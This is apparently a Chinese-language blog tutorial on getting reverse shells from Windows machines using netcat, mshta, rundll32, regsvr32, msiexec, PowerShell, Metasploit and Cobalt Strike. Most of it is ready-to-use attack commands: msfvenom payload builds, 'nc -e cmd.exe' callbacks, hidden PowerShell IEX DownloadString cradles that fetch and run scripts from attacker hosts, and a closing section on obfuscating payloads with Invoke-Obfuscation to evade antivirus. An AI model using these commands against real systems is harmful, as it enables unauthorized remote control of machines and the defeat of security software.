文章目录
- 反弹shell介绍
- 常用反弹方式
- NetCat(NC)反弹
-
- mshta.exe利用
- msf利用模块
- 方法一(msfconsole)
- 方法二(msfvenom)
- Cobaltstrike利用模块
- hta攻击源码
- rundll32.exe利用
- msf利用模块
- 方法一(msfconsole)
- 方法二(msfvenom)
- Rundll32加载hta
- Regsvr32.exe利用
-
- msiexec.exe利用
-
- powershell脚本
- PowerShell加载远程脚本
- powershell版本NC
- 通过Web delivery反弹shell
-
- 使用powershell执行.vbs文件
- 使用powershell执行.bat文件
- 绕过杀软
-
反弹shell介绍
反弹shell主要就是让我们能远程连接到目标控制台并且下达指令,来达到操控目标资产的目的!
反弹shell分为:
- 正向反弹: 控制端(也就是我们自己的机器)发送请求去连接被控端(目标机器)的方式。
不过这种方式会受到防火墙,路由,等各种很多因素影响,很难成功。
- 反向反弹: 被控端主动发送请求连接我们的控制端。
这种方法是可以想办法避开防火墙和路由的一些限制的!
常用反弹方式
NetCat(NC)反弹
正常情况下,Windows系统中是不带NC的,我们想要使用NC需要先将此程序上传至目标机器,这里网上自行找资源吧,我NC本来想传到CSDN中的,但是审核不过去,没办法。
下载好nc后可以cd
到下载目录使用,或将nc目录添加到环境变量中使用!
正向NC
正向的反弹是先让目标机器做好准备的情况下,等待攻击机连接。所以我们需要现在被控端执行命令,然后在控制端执行连接!
nc -lvvp 端口号 -e 使用程序
nc -lvvp 6543 -e powershell.exe
nc 目标地址 端口
nc 192.168.1.251 6543
上述的powershell可以换成cmd!
反向NC
和正向刚好相反,我们现在需要在控制机中开启监听,等待被控机对我们进行主动连接!
nc -lvvp 端口
nc -lvvp 4567
nc -e 使用程序 目标地址 端口
nc -e cmd.exe 192.168.1.169 4567
mshta.exe利用
mshta.exe是用于负责解释运行HTA(HTML应用程序)文件的Windows系统应用程序。可以运行JavaScript或VBScript的HTML文件。这是Windows系统中自带的一个应用!我们可以利用执行我们的.hta
木马程序来进行shell的反弹!
msf利用模块
方法一(msfconsole)
模块地址: exploit/windows/misc/hta_server
use exploit/windows/misc/hta_server
set srvhost 本地IP
set payload 攻击载荷
set payload windows/x64/meterpreter/reverse_tcp
set target 1
set lhost 192.168.1.200
run
启动后后生成一个目标地址,只需要让目标执行mshta 目标地址
(mshta http://192.168.1.200:8080/PgE4ymVU3VQ.hta
)即可上线目标机器!
方法二(msfvenom)
msfvenom模块同样也支持生成.hta文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4456 -f hta-psh -o 1.hta
python3 -m http.server 6123
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.200 -P 4456
目标机器同样是执行mshta http://192.168.1.200:6123/1.hta
即可上线!
Cobaltstrike利用模块
除了上述的msf外,cs同样也可以生成hts文件并且加以利用!
首先我们在生成后门选项中选择HTML Application
并将其生成的.hta
文件保存
然后使用钓鱼工具中的文件下载,开启一个下载服务已供目标下载
然后只需要目标执行mshta http://43.128.11.131:8081/download/file.ext
即可上线。
注: 这里生成的木马为32位的,可能在64位主机运行时候出现问题!如果是64位主机的话,最好还是运行msf中生成的木马!
hta攻击源码
我们根据上述msf生成的hta木马源文件可以看出,其实这种攻击最终还是调用了powershell来执行一些反弹shell的操作!不过其中进行了一些混淆操作来减少被杀软发现的可能性!
rundll32.exe利用
用过Python的应该知道,Python之所以强大就是因为有很多库的支持,比如我们想要生成一个随机数,只需要调用random
库即可。而动态链接库DLL (Dynamic Link Library) 则是Windows中的库。它包含一些常用的方法,并且允许不同的程序去调用它的代码和数据。这里的Rundll32.exe则是Windows中专门用来调用这些库(DLL)中的函数(16位或32位),并将其存储在适当的内存库中的程序。
msf利用模块
方法一(msfconsole)
使用模块: exploit/windows/smb/smb_delivery
这里需要注意,我们要用root身份运行msf,因为等会会调用445端口,只有root用户才有权限使用此端口(下载dll时默认从445下载,想要修改端口会比较麻烦!)
use exploit/windows/smb/smb_delivery
set lhost 192.168.1.200
set lport 4454
方法二(msfvenom)
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=5333 -f dll -o test.dll
python3 -m http.server
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.200 -P 5333
certutil.exe -urlcache -split -f http://192.168.1.200:7789/test.dll
rundll32 shell32.dll,Control_RunDLL C:\渗透测试工具\test.dll
Rundll32加载hta
Rundll32不仅能加载dll文件,还可以加载hta
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=5333 -f hta-psh > 1.hta
certutil.exe -urlcache -split -f http://192.168.1.200:7785/1.hta
rundll32.exe url.dll,OpenURL C:\Users\xunmi\1.hta
Regsvr32.exe利用
Regsvr32也是一个和dll有关的程序,它主要复制注册和注销OLE控件,OLE(对象链接与嵌入)控件主要指的就是Windows注册表中的dll和ActiveX控件!此工具默认会在%systemroot%\System32
(C:\Windows\System32
) 文件夹中
Regsvr32常用属性 | 作用 |
---|
/u | 注销服务器 |
/i | 调用DllInstall传递一个可选的[cmdline];当它与/u一起使用时,它调用dll来卸载 |
/n | 不要调用DllRegisterServer; 此选项必须与/i一起使用 |
/s | 沉默; 不显示消息框 |
msf利用模块
使用模块: exploit/multi/script/web_delivery
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.200
msiexec.exe利用
msiexec.exe是Windows系统安装引擎,微软安装包.msi
(MSI:microsoft installer)就是使用msiexec.exe来解释安装。我在Windows常用提权博客中的总是以高权限安装(Always Install Elevated)中说过,如果管理员配置不当,我们是可以利用.msi
安装程序的一个漏洞来执行提权命令的。有兴趣的同学可以去查看一二。
msf利用模块
这里主要是用msfvenom模块来生成一个msi的命令包
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4578 -f msi > 1.msi
python3 -m http.server 6542
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.200 -P 4578
msiexec /q /i http://192.168.1.200:6542/1.msi
powershell脚本
上述很多反弹shell命令最终都还是会去调用powershell进行反弹,在上述mshta.exe
攻击时候的源码即可看出,我们生成的各种反弹shell脚本大部分本质都是披着各种外皮的PowerShell脚本。
PowerShell加载远程脚本
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4578 -f psh-reflection -o shell.ps1
python3 -m http.server 6542
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:6542/shell.ps1')";
在目标机器中的cmd中执行上述反弹shell脚本后,则会在cmd中启动一个powershell子经常来执行我们的反弹命令!
powershell版本NC
开源下载地址: https://github.com/besimorhino/powercat
首先我们需要将此脚本上传到目标靶机中!
nc -lvvp 12345
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://43.128.11.131:8000/powercat.ps1');powercat -c 192.168.1.200 -p 12345 -e cmd"
通过Web delivery反弹shell
msfconsole生成
使用模块: use exploit/multi/script/web_delivery
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set target 2
set lhost 192.168.1.200
set lport 8525
run
CS生成
具体用法如下图,只需将生成的命令想办法让目标机器执行即可!
使用powershell执行.vbs文件
启动.vbs我们需要用到cscript.exe,它可以来执行wsf、js和vbscript脚本。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=7777 -f vbs -o 1.vbs
python3 -m http.server 6542
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.200 -P 7777
powershell -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.1.200:6542/1.vbs','$env:temp\test.vbs');Start-Process cscript.exe '$env:temp\test.vbs'"
使用powershell执行.bat文件
.bat
是Windows下的一个批处理文件,Windows默认就可以直接调用执行,理论上是蛮方便的,不过这种方法我并没有成功复现。
msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=192.168.1.200 LPORT=7788 -o 1.bat
python3 -m http.server 6542
handler -p cmd/windows/powershell_reverse_tcp -H 192.168.1.200 -P 7788
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:6542/1.bat');1.bat";
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.200:6542/1.bat')"
绕过杀软
混淆处理
这里我主要会用到一个做混淆处理的powershell模块Invoke-Obfuscation
下载地址: https://github.com/danielbohannon/Invoke-Obfuscation
powershell.exe -ep bypass
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
设置需要混淆的源代码所在位置
set scriptpath I:\渗透测试\临时文件\源反弹shell代码.ps1
设置混淆方式
token\all
1
token\all\1
输出混淆文件
out I:\渗透测试\临时文件\混淆后的代码.ps1
对比可以看出,这种混淆的原理就将我们的原本的代码关键词乱序排放,来让杀毒软件找不到我们木马的特征!除此之外Invoke-Obfuscation
还有很多其他的加密混淆功能!
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)